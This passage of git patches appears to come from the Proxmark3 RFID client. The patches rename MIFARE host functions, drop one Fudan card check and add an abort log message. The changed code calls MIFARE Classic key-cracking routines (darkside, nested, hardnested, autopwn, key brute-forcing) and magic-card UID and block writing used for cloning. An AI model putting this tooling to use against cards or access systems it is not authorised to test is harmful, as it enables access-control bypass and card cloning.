a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index e6fafd379..ddb5c5586 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -9721,11 +9721,6 @@ static int CmdHF14AMfInfo(const char *Cmd) { // Note: it also has ATS = // 10 78 80 90 02 20 90 00 00 00 00 00 + UID + CRC PrintAndLogEx(SUCCESS, "Fudan FM1208-10"); - } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x11\x15\x01\x00\x00\x00\x00", 11) == 0) { - // Note: it also has ATS = - // 10 78 80 90 02 20 90 00 00 00 00 00 + UID + CRC - PrintAndLogEx(SUCCESS, "Fudan FM1208-10 ?"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { // Note: it also has ATS = From bac1bf05afe67be0dbe132396e9435301ae62d12 Mon Sep 17 00:00:00 2001 From: nvx Date: Wed, 13 Nov 2024 21:53:31 +1000 Subject: [PATCH 126/155] log a message when aborting trace list display --- client/src/cmdtrace.c | 1 + 1 file changed, 1 insertion(+) diff --git a/client/src/cmdtrace.c b/client/src/cmdtrace.c index 56e9136cc..8e19c3bb5 100644 --- a/client/src/cmdtrace.c +++ b/client/src/cmdtrace.c @@ -1548,6 +1548,7 @@ int CmdTraceList(const char *Cmd) { tracepos = printTraceLine(tracepos, gs_traceLen, gs_trace, protocol, show_wait_cycles, mark_crc, prev_EOT, use_us, dicKeys, dicKeysCount); if (kbd_enter_pressed()) { + PrintAndLogEx(INFO, "User interrupted detected. Aborting"); break; } } From 514fe677d62c7c4ccec7b976b7e0b295eef2ecc9 Mon Sep 17 00:00:00 2001 From: pingu2211 Date: Mon, 11 Nov 2024 10:45:46 +1100 Subject: [PATCH 127/155] rename all mifarehost functions to match style guide --- armsrc/Standalone/hf_young.c | 4 +- client/src/cmdhfict.c | 2 +- client/src/cmdhfjooki.c | 4 +- client/src/cmdhfmf.c | 180 ++++++++++++++++----------------- client/src/cmdhfmfp.c | 2 +- client/src/mifare/mifarehost.c | 92 ++++++++--------- client/src/mifare/mifarehost.h | 46 ++++----- client/src/scripting.c | 2 +- 8 files changed, 166 insertions(+), 166 deletions(-) diff --git a/armsrc/Standalone/hf_young.c b/armsrc/Standalone/hf_young.c index ea47e06f8..d41a7968f 100644 --- a/armsrc/Standalone/hf_young.c +++ b/armsrc/Standalone/hf_young.c @@ -177,14 +177,14 @@ void RunMod(void) { MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes); break; - mfCSetUID provides example logic for UID set workflow: + mf_chinese_set_uid provides example logic for UID set workflow: -Read block0 from card in field with MifareCGetBlock() -Configure new values without replacing reserved bytes memcpy(block0, uid, 4); // Copy UID bytes from byte array // Mifare UID BCC block0[4] = block0[0]^block0[1]^block0[2]^block0[3]; // BCC on byte 5 Bytes 5-7 are reserved SAK and ATQA for mifare classic - -Use mfCSetBlock(0, block0, oldUID, wantWipe, MAGIC_SINGLE | MAGIC_WUPC) to write it + -Use mf_chinese_set_block(0, block0, oldUID, wantWipe, MAGIC_SINGLE | MAGIC_WUPC) to write it */ uint8_t oldBlock0[16] = {0}, newBlock0[16] = {0}; // arg0 = Flags, arg1=blockNo diff --git a/client/src/cmdhfict.c b/client/src/cmdhfict.c index 52e2f9114..4432532c5 100644 --- a/client/src/cmdhfict.c +++ b/client/src/cmdhfict.c @@ -525,7 +525,7 @@ static int CmdHfIctCredential(const char *Cmd) { } // diversified key A? - int res = mfReadSector(ICT_MIFARE_SECTOR, MF_KEY_A, ICT_MIFARE_A_KEY, data); + int res = mf_read_sector(ICT_MIFARE_SECTOR, MF_KEY_A, ICT_MIFARE_A_KEY, data); if (res != PM3_SUCCESS) { free(data); return res; diff --git a/client/src/cmdhfjooki.c b/client/src/cmdhfjooki.c index b0126ff77..b0cc1363e 100644 --- a/client/src/cmdhfjooki.c +++ b/client/src/cmdhfjooki.c @@ -531,7 +531,7 @@ static int CmdHF14AJookiSim(const char *Cmd) { g_conn.block_after_ACK = true; uint8_t blockwidth = 4, counter = 0, blockno = 0; - // 12 is the size of the struct the fct mfEmlSetMem_xt uses to transfer to device + // 12 is the size of the struct the fct mf_eml_set_mem_xt uses to transfer to device uint16_t max_avail_blocks = ((PM3_CMD_DATA_SIZE - 12) / blockwidth) * blockwidth; while (datalen) { @@ -542,7 +542,7 @@ static int CmdHF14AJookiSim(const char *Cmd) { uint16_t chunk_size = MIN(max_avail_blocks, datalen); uint16_t blocks_to_send = chunk_size / blockwidth; - if (mfEmlSetMem_xt(data + counter, blockno, blocks_to_send, blockwidth) != PM3_SUCCESS) { + if (mf_eml_set_mem_xt(data + counter, blockno, blocks_to_send, blockwidth) != PM3_SUCCESS) { PrintAndLogEx(FAILED, "Cant set emul block: %3d", blockno); free(data); return PM3_ESOFT; diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index 8fdd0e24c..c5c5f3938 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -905,7 +905,7 @@ static int CmdHF14AMfDarkside(const char *Cmd) { uint64_t key = 0; uint64_t t1 = msclock(); - int ret = mfDarkside(blockno, key_type, &key); + int ret = mf_dark_side(blockno, key_type, &key); t1 = msclock() - t1; if (ret != PM3_SUCCESS) return ret; @@ -1086,7 +1086,7 @@ static int CmdHF14AMfRdBl(const char *Cmd) { uint8_t blockno = (uint8_t)b; uint8_t data[16] = {0}; - int res = mfReadBlock(blockno, keytype, key, data); + int res = mf_read_block(blockno, keytype, key, data); if (res == PM3_SUCCESS) { uint8_t sector = mfSectorNum(blockno); @@ -1162,7 +1162,7 @@ static int CmdHF14AMfRdSc(const char *Cmd) { return PM3_EMALLOC; } - int res = mfReadSector(sector, keytype, key, data); + int res = mf_read_sector(sector, keytype, key, data); if (res == PM3_SUCCESS) { uint8_t blocks = mfNumBlocksPerSector(sector); @@ -1767,7 +1767,7 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't } // check if we can authenticate to sector - if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { + if (mf_check_keys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { if (keyType < 2) { PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A'); } else { @@ -1777,7 +1777,7 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't } if (singleSector) { - int16_t isOK = mfnested(blockNo, keyType, key, trgBlockNo, trgKeyType, keyBlock, !ignore_static_encrypted); + int16_t isOK = mf_nested(blockNo, keyType, key, trgBlockNo, trgKeyType, keyBlock, !ignore_static_encrypted); switch (isOK) { case PM3_ETIMEOUT: PrintAndLogEx(ERR, "command execution time out\n"); @@ -1806,14 +1806,14 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't } else { // 16 block sector sectortrailer = trgBlockNo | 0x0f; } - mfEmlGetMem(keyBlock, sectortrailer, 1); + mf_eml_get_mem(keyBlock, sectortrailer, 1); if (trgKeyType == MF_KEY_A) num_to_bytes(key64, 6, keyBlock); else num_to_bytes(key64, 6, &keyBlock[10]); - mfEmlSetMem(keyBlock, sectortrailer, 1); + mf_elm_set_mem(keyBlock, sectortrailer, 1); PrintAndLogEx(SUCCESS, "Key transferred to emulator memory."); } return PM3_SUCCESS; @@ -1841,7 +1841,7 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't } PrintAndLogEx(SUCCESS, "Testing known keys. Sector count "_YELLOW_("%d"), SectorsCnt); - int res = mfCheckKeys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, use_flashmemory, false); + int res = mf_check_keys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, use_flashmemory, false); if (res == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Fast check found all keys"); goto jumptoend; @@ -1860,7 +1860,7 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't if (e_sector[sectorNo].foundKey[trgKeyType]) continue; - int16_t isOK = mfnested(blockNo, keyType, key, mfFirstBlockOfSector(sectorNo), trgKeyType, keyBlock, calibrate); + int16_t isOK = mf_nested(blockNo, keyType, key, mfFirstBlockOfSector(sectorNo), trgKeyType, keyBlock, calibrate); switch (isOK) { case PM3_ETIMEOUT: PrintAndLogEx(ERR, "command execution time out\n"); @@ -1883,7 +1883,7 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't e_sector[sectorNo].foundKey[trgKeyType] = 1; e_sector[sectorNo].Key[trgKeyType] = bytes_to_num(keyBlock, 6); - mfCheckKeys_fast(SectorsCnt, true, true, 2, 1, keyBlock, e_sector, false, false); + mf_check_keys_fast(SectorsCnt, true, true, 2, 1, keyBlock, e_sector, false, false); continue; default : PrintAndLogEx(ERR, "Unknown error\n"); @@ -1945,7 +1945,7 @@ jumptoend: // fast push mode g_conn.block_after_ACK = true; for (int i = 0; i < SectorsCnt; i++) { - mfEmlGetMem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); + mf_eml_get_mem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], 6, keyBlock); @@ -1957,7 +1957,7 @@ jumptoend: // Disable fast mode on last packet g_conn.block_after_ACK = false; } - mfEmlSetMem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); + mf_elm_set_mem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); } PrintAndLogEx(SUCCESS, "keys transferred to emulator memory."); } @@ -2069,7 +2069,7 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { } // check if we can authenticate to sector - if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { + if (mf_check_keys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { if (keyType < 2) { PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A'); } else { @@ -2101,7 +2101,7 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { } PrintAndLogEx(SUCCESS, "Testing known keys. Sector count "_YELLOW_("%d"), SectorsCnt); - int res = mfCheckKeys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, false, false); + int res = mf_check_keys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, false, false); if (res == PM3_SUCCESS) { // all keys found PrintAndLogEx(SUCCESS, "Fast check found all keys"); @@ -2120,7 +2120,7 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { if (e_sector[sectorNo].foundKey[trgKeyType]) continue; - int16_t isOK = mfStaticNested(blockNo, keyType, key, mfFirstBlockOfSector(sectorNo), trgKeyType, keyBlock); + int16_t isOK = mf_static_nested(blockNo, keyType, key, mfFirstBlockOfSector(sectorNo), trgKeyType, keyBlock); switch (isOK) { case PM3_ETIMEOUT : PrintAndLogEx(ERR, "command execution time out"); @@ -2198,7 +2198,7 @@ jumptoend: // fast push mode g_conn.block_after_ACK = true; for (int i = 0; i < SectorsCnt; i++) { - mfEmlGetMem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); + mf_eml_get_mem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], 6, keyBlock); @@ -2210,7 +2210,7 @@ jumptoend: // Disable fast mode on last packet g_conn.block_after_ACK = false; } - mfEmlSetMem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); + mf_elm_set_mem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); } PrintAndLogEx(SUCCESS, "keys transferred to emulator memory."); } @@ -2417,7 +2417,7 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { uint64_t key64 = 0; // check if we can authenticate to sector - if (mfCheckKeys(blockno, keytype, true, 1, key, &key64) != PM3_SUCCESS) { + if (mf_check_keys(blockno, keytype, true, 1, key, &key64) != PM3_SUCCESS) { if (keytype < 2) { PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockno, keytype ? 'B' : 'A'); } else { @@ -2791,7 +2791,7 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { PrintAndLogEx(NORMAL, "." NOLF); fflush(stdout); - if (mfCheckKeys(mfFirstBlockOfSector(i), j, true, 1, (keyBlock + (MIFARE_KEY_SIZE * k)), &key64) == PM3_SUCCESS) { + if (mf_check_keys(mfFirstBlockOfSector(i), j, true, 1, (keyBlock + (MIFARE_KEY_SIZE * k)), &key64) == PM3_SUCCESS) { e_sector[i].Key[j] = bytes_to_num((keyBlock + (MIFARE_KEY_SIZE * k)), MIFARE_KEY_SIZE); e_sector[i].foundKey[j] = 'D'; break; @@ -2823,7 +2823,7 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { lastChunk = true; } - res = mfCheckKeys_fast(sector_cnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * MIFARE_KEY_SIZE), e_sector, false, verbose); + res = mf_check_keys_fast(sector_cnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * MIFARE_KEY_SIZE), e_sector, false, verbose); if (firstChunk) { firstChunk = false; } @@ -2888,7 +2888,7 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { PrintAndLogEx(NORMAL, ""); - isOK = mfDarkside(mfFirstBlockOfSector(sectorno), MIFARE_AUTH_KEYA + keytype, &key64); + isOK = mf_dark_side(mfFirstBlockOfSector(sectorno), MIFARE_AUTH_KEYA + keytype, &key64); if (isOK != PM3_SUCCESS) goto noValidKeyFound; @@ -2942,7 +2942,7 @@ noValidKeyFound: continue; // Check if the key works - if (mfCheckKeys(mfFirstBlockOfSector(i), j, true, 1, tmp_key, &key64) == PM3_SUCCESS) { + if (mf_check_keys(mfFirstBlockOfSector(i), j, true, 1, tmp_key, &key64) == PM3_SUCCESS) { e_sector[i].Key[j] = bytes_to_num(tmp_key, MIFARE_KEY_SIZE); e_sector[i].foundKey[j] = 'R'; PrintAndLogEx(SUCCESS, "target sector %3u key type %c -- found valid key [ " _GREEN_("%s") " ]", @@ -3021,7 +3021,7 @@ skipReadBKey: (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); } tryNested: - isOK = mfnested(mfFirstBlockOfSector(sectorno), keytype, key, mfFirstBlockOfSector(current_sector_i), current_key_type_i, tmp_key, calibrate); + isOK = mf_nested(mfFirstBlockOfSector(sectorno), keytype, key, mfFirstBlockOfSector(current_sector_i), current_key_type_i, tmp_key, calibrate); switch (isOK) { case PM3_ETIMEOUT: { @@ -3147,7 +3147,7 @@ tryStaticnested: (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); } - isOK = mfStaticNested(mfFirstBlockOfSector(sectorno), keytype, key, mfFirstBlockOfSector(current_sector_i), current_key_type_i, tmp_key); + isOK = mf_static_nested(mfFirstBlockOfSector(sectorno), keytype, key, mfFirstBlockOfSector(current_sector_i), current_key_type_i, tmp_key); DropField(); switch (isOK) { case PM3_ETIMEOUT: { @@ -3211,13 +3211,13 @@ all_found: bool transfer_status = true; for (current_sector_i = 0; current_sector_i < sector_cnt; current_sector_i++) { - mfEmlGetMem(block, current_sector_i, 1); + mf_eml_get_mem(block, current_sector_i, 1); if (e_sector[current_sector_i].foundKey[0]) num_to_bytes(e_sector[current_sector_i].Key[0], MIFARE_KEY_SIZE, block); if (e_sector[current_sector_i].foundKey[1]) num_to_bytes(e_sector[current_sector_i].Key[1], MIFARE_KEY_SIZE, block + 10); - transfer_status |= mfEmlSetMem(block, mfFirstBlockOfSector(current_sector_i) + mfNumBlocksPerSector(current_sector_i) - 1, 1); + transfer_status |= mf_elm_set_mem(block, mfFirstBlockOfSector(current_sector_i) + mfNumBlocksPerSector(current_sector_i) - 1, 1); } PrintAndLogEx(NORMAL, "( %s )", (transfer_status) ? _GREEN_("ok") : _RED_("fail")); @@ -3387,7 +3387,7 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { } if (use_flashmemory) { PrintAndLogEx(SUCCESS, "Using dictionary in flash memory"); - mfCheckKeys_fast_ex(sectorsCnt, true, true, 1, 0, keyBlock, e_sector, use_flashmemory, false, false, singleSectorParams); + mf_check_keys_fast_ex(sectorsCnt, true, true, 1, 0, keyBlock, e_sector, use_flashmemory, false, false, singleSectorParams); } else { // strategies. 1= deep first on sector 0 AB, 2= width first on all sectors @@ -3416,7 +3416,7 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { if (size == keycnt - i) lastChunk = true; - int res = mfCheckKeys_fast_ex(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * MIFARE_KEY_SIZE), e_sector, false, false, true, singleSectorParams); + int res = mf_check_keys_fast_ex(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * MIFARE_KEY_SIZE), e_sector, false, false, true, singleSectorParams); if (firstChunk) firstChunk = false; @@ -3474,7 +3474,7 @@ out: uint8_t block[MFBLOCK_SIZE] = {0x00}; for (i = 0; i < sectorsCnt; ++i) { uint8_t b = mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1; - mfEmlGetMem(block, b, 1); + mf_eml_get_mem(block, b, 1); if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], MIFARE_KEY_SIZE, block); @@ -3486,7 +3486,7 @@ out: // Disable fast mode on last packet g_conn.block_after_ACK = false; } - mfEmlSetMem(block, b, 1); + mf_elm_set_mem(block, b, 1); } PrintAndLogEx(SUCCESS, "Found keys have been transferred to the emulator memory"); @@ -3644,7 +3644,7 @@ static int CmdHF14AMfSmartBrute(const char *Cmd) { } int strategy = 2; // width first on all sectors - ret = mfCheckKeys_fast(sectorsCnt, firstChunk, lastChunk, strategy, keycnt, keyBlock, e_sector, false, false); + ret = mf_check_keys_fast(sectorsCnt, firstChunk, lastChunk, strategy, keycnt, keyBlock, e_sector, false, false); keys_checked += keycnt; total_keys_checked += keycnt; @@ -3688,7 +3688,7 @@ out: uint8_t block[MFBLOCK_SIZE] = {0x00}; for (i = 0; i < sectorsCnt; ++i) { uint8_t b = mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1; - mfEmlGetMem(block, b, 1); + mf_eml_get_mem(block, b, 1); if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], MIFARE_KEY_SIZE, block); @@ -3700,7 +3700,7 @@ out: // Disable fast mode on last packet g_conn.block_after_ACK = false; } - mfEmlSetMem(block, b, 1); + mf_elm_set_mem(block, b, 1); } PrintAndLogEx(SUCCESS, "Found keys have been transferred to the emulator memory"); @@ -3895,7 +3895,7 @@ static int CmdHF14AMfChk(const char *Cmd) { uint32_t size = keycnt - c > max_keys ? max_keys : keycnt - c; - if (mfCheckKeys(b, trgKeyType, clearLog, size, &keyBlock[MIFARE_KEY_SIZE * c], &key64) == PM3_SUCCESS) { + if (mf_check_keys(b, trgKeyType, clearLog, size, &keyBlock[MIFARE_KEY_SIZE * c], &key64) == PM3_SUCCESS) { e_sector[i].Key[trgKeyType] = key64; e_sector[i].foundKey[trgKeyType] = true; clearLog = false; @@ -3972,7 +3972,7 @@ out: uint8_t block[MFBLOCK_SIZE] = {0x00}; for (int i = 0; i < sectors_cnt; ++i) { uint8_t blockno = mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1; - mfEmlGetMem(block, blockno, 1); + mf_eml_get_mem(block, blockno, 1); if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], MIFARE_KEY_SIZE, block); @@ -3984,7 +3984,7 @@ out: // Disable fast mode on last packet g_conn.block_after_ACK = false; } - mfEmlSetMem(block, blockno, 1); + mf_elm_set_mem(block, blockno, 1); } PrintAndLogEx(SUCCESS, "Found keys have been transferred to the emulator memory"); } @@ -4051,7 +4051,7 @@ void readerAttack(sector_t *k_sector, size_t k_sectors_cnt, nonces_t data, bool //set emulator memory for keys if (setEmulatorMem) { uint8_t memBlock[16]; - mfEmlGetMem(memBlock, (sector * 4) + 3, 1); + mf_eml_get_mem(memBlock, (sector * 4) + 3, 1); if ((memBlock[6] == 0) && (memBlock[7] == 0) && (memBlock[8] == 0)) { // ACL not yet set? memBlock[6] = 0xFF; @@ -4064,7 +4064,7 @@ void readerAttack(sector_t *k_sector, size_t k_sectors_cnt, nonces_t data, bool , (sector * 4) + 3 , sprint_hex(memBlock, sizeof(memBlock)) ); - mfEmlSetMem(memBlock, (sector * 4) + 3, 1); + mf_elm_set_mem(memBlock, (sector * 4) + 3, 1); } } @@ -4471,7 +4471,7 @@ static int CmdHF14AMfEGetBlk(const char *Cmd) { uint8_t blockno = (uint8_t)b; uint8_t data[16] = {0x00}; - if (mfEmlGetMem(data, blockno, 1) == PM3_SUCCESS) { + if (mf_eml_get_mem(data, blockno, 1) == PM3_SUCCESS) { uint8_t sector = mfSectorNum(blockno); mf_print_sector_hdr(sector); @@ -4515,7 +4515,7 @@ static int CmdHF14AMfEGetSc(const char *Cmd) { uint8_t data[16] = {0}; for (int i = 0; i < blocks; i++) { - int res = mfEmlGetMem(data, start + i, 1); + int res = mf_eml_get_mem(data, start + i, 1); if (res == PM3_SUCCESS) { mf_print_block_one(start + i, data, verbose); } @@ -4581,7 +4581,7 @@ static int CmdHF14AMfESet(const char *Cmd) { } // 1 - blocks count - return mfEmlSetMem(data, b, 1); + return mf_elm_set_mem(data, b, 1); } int CmdHF14AMfELoad(const char *Cmd) { @@ -4734,7 +4734,7 @@ int CmdHF14AMfELoad(const char *Cmd) { size_t offset = 0; int cnt = 0; - // 12 is the size of the struct the fct mfEmlSetMem_xt uses to transfer to device + // 12 is the size of the struct the fct mf_eml_set_mem_xt uses to transfer to device uint16_t max_avail_blocks = ((PM3_CMD_DATA_SIZE - 12) / block_width) * block_width; while (bytes_read && cnt < block_cnt) { @@ -4746,7 +4746,7 @@ int CmdHF14AMfELoad(const char *Cmd) { uint16_t chunk_size = MIN(max_avail_blocks, bytes_read); uint16_t blocks_to_send = chunk_size / block_width; - if (mfEmlSetMem_xt(data + offset, cnt, blocks_to_send, block_width) != PM3_SUCCESS) { + if (mf_eml_set_mem_xt(data + offset, cnt, blocks_to_send, block_width) != PM3_SUCCESS) { PrintAndLogEx(FAILED, "Can't set emulator mem at block: %3d", cnt); free(data); return PM3_ESOFT; @@ -5096,7 +5096,7 @@ static int CmdHF14AMfEKeyPrn(const char *Cmd) { // read UID from EMUL uint8_t data[16]; - if (mfEmlGetMem(data, 0, 1) != PM3_SUCCESS) { + if (mf_eml_get_mem(data, 0, 1) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "error get block 0"); free(e_sector); return PM3_ESOFT; @@ -5109,7 +5109,7 @@ static int CmdHF14AMfEKeyPrn(const char *Cmd) { // download keys from EMUL for (int i = 0; i < sectors_cnt; i++) { - if (mfEmlGetMem(data, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1) != PM3_SUCCESS) { + if (mf_eml_get_mem(data, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "error get block %d", mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1); e_sector[i].foundKey[0] = false; e_sector[i].foundKey[1] = false; @@ -5191,7 +5191,7 @@ static int CmdHF14AMfCSetUID(const char *Cmd) { uint8_t old_uid[7] = {0}; uint8_t verify_uid[7] = {0}; - int res = mfCSetUID( + int res = mf_chinese_set_uid( uid, uidlen, (alen) ? atqa : NULL, @@ -5262,7 +5262,7 @@ static int CmdHF14AMfCWipe(const char *cmd) { return PM3_EINVARG; } - int res = mfCWipe((uidlen) ? uid : NULL, (alen) ? atqa : NULL, (slen) ? sak : NULL, gdm); + int res = mf_chinese_wipe((uidlen) ? uid : NULL, (alen) ? atqa : NULL, (slen) ? sak : NULL, gdm); if (res) { PrintAndLogEx(ERR, "Can't wipe card. error %d", res); return PM3_ESOFT; @@ -5322,7 +5322,7 @@ static int CmdHF14AMfCSetBlk(const char *Cmd) { PrintAndLogEx(INFO, "Writing block number:%2d data:%s", b, sprint_hex_inrow(data, sizeof(data))); - int res = mfCSetBlock(b, data, NULL, params); + int res = mf_chinese_set_block(b, data, NULL, params); if (res) { PrintAndLogEx(ERR, "Can't write block. error=%d", res); return PM3_ESOFT; @@ -5403,7 +5403,7 @@ static int CmdHF14AMfCLoad(const char *Cmd) { uint8_t buf8[MFBLOCK_SIZE] = {0x00}; // read from emul memory - if (mfEmlGetMem(buf8, b, 1)) { + if (mf_eml_get_mem(buf8, b, 1)) { PrintAndLogEx(WARNING, "Can't read from emul block: %d", b); return PM3_ESOFT; } @@ -5424,7 +5424,7 @@ static int CmdHF14AMfCLoad(const char *Cmd) { } // write to card - if (mfCSetBlock(b, buf8, NULL, flags)) { + if (mf_chinese_set_block(b, buf8, NULL, flags)) { PrintAndLogEx(WARNING, "Can't set magic card block: %d", b); return PM3_ESOFT; } @@ -5471,7 +5471,7 @@ static int CmdHF14AMfCLoad(const char *Cmd) { flags = MAGIC_HALT + MAGIC_OFF; } - if (mfCSetBlock(blockno, data + (MFBLOCK_SIZE * blockno), NULL, flags)) { + if (mf_chinese_set_block(blockno, data + (MFBLOCK_SIZE * blockno), NULL, flags)) { PrintAndLogEx(WARNING, "Can't set magic card block: %d", blockno); free(data); return PM3_ESOFT; @@ -5528,7 +5528,7 @@ static int CmdHF14AMfCGetBlk(const char *Cmd) { uint8_t blockno = (uint8_t)b; uint8_t data[16] = {0}; - int res = mfCGetBlock(blockno, data, MAGIC_SINGLE | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC)); + int res = mf_chinese_get_block(blockno, data, MAGIC_SINGLE | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC)); if (res) { PrintAndLogEx(ERR, "Can't read block. error=%d", res); return PM3_ESOFT; @@ -5587,7 +5587,7 @@ static int CmdHF14AMfCGetSc(const char *Cmd) { if (i == 1) flags = 0; if (i == blocks - 1) flags = MAGIC_HALT + MAGIC_OFF; - int res = mfCGetBlock(start + i, data, flags); + int res = mf_chinese_get_block(start + i, data, flags); if (res) { PrintAndLogEx(ERR, "Can't read block. %d error=%d", start + i, res); return PM3_ESOFT; @@ -5712,7 +5712,7 @@ static int CmdHF14AMfCSave(const char *Cmd) { flags = MAGIC_HALT + MAGIC_OFF; } - if (mfCGetBlock(i, dump + (i * MFBLOCK_SIZE), flags)) { + if (mf_chinese_get_block(i, dump + (i * MFBLOCK_SIZE), flags)) { PrintAndLogEx(WARNING, "Can't get magic card block: %d", i); PrintAndLogEx(HINT, "Verify your card size, and try again or try another tag position"); free(dump); @@ -5733,7 +5733,7 @@ static int CmdHF14AMfCSave(const char *Cmd) { // Disable fast mode on last packet g_conn.block_after_ACK = false; } - if (mfEmlSetMem(dump + (i * MFBLOCK_SIZE), i, 5) != PM3_SUCCESS) { + if (mf_elm_set_mem(dump + (i * MFBLOCK_SIZE), i, 5) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "Can't set emul block: " _YELLOW_("%d"), i); } if (i % 64 == 0) { @@ -5861,7 +5861,7 @@ static int CmdHF14AMfCView(const char *Cmd) { flags = MAGIC_HALT + MAGIC_OFF; } - if (mfCGetBlock(i, dump + (i * MFBLOCK_SIZE), flags)) { + if (mf_chinese_get_block(i, dump + (i * MFBLOCK_SIZE), flags)) { PrintAndLogEx(WARNING, "Can't get magic card block: " _YELLOW_("%u"), i); PrintAndLogEx(HINT, "Verify your card size, and try again or try another tag position"); free(dump); @@ -5934,7 +5934,7 @@ static int CmdHf14AMfDecryptBytes(const char *Cmd) { PrintAndLogEx(INFO, "ar enc... %08X", ar_enc); PrintAndLogEx(INFO, "at enc... %08X", at_enc); - return tryDecryptWord(nt, ar_enc, at_enc, data, datalen); + return try_decrypt_word(nt, ar_enc, at_enc, data, datalen); } static int CmdHf14AMfSetMod(const char *Cmd) { @@ -6301,7 +6301,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { uint8_t sector10[MFBLOCK_SIZE * 4] = {0}; bool got_first = true; - if (mfReadSector(MF_MAD1_SECTOR, MF_KEY_A, (uint8_t *)g_mifare_mad_key, sector0) != PM3_SUCCESS) { + if (mf_read_sector(MF_MAD1_SECTOR, MF_KEY_A, (uint8_t *)g_mifare_mad_key, sector0) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "error, read sector 0. card doesn't have MAD or doesn't have MAD on default keys"); got_first = false; } else { @@ -6311,7 +6311,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { // User supplied key if (got_first == false && keylen == 6) { PrintAndLogEx(INFO, "Trying user specified key..."); - if (mfReadSector(MF_MAD1_SECTOR, MF_KEY_A, userkey, sector0) != PM3_SUCCESS) { + if (mf_read_sector(MF_MAD1_SECTOR, MF_KEY_A, userkey, sector0) != PM3_SUCCESS) { PrintAndLogEx(ERR, "error, read sector 0. card doesn't have MAD or the custom key is wrong"); } else { PrintAndLogEx(INFO, "Authentication ( " _GREEN_("ok") " )"); @@ -6325,7 +6325,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { } got_first = true; - if 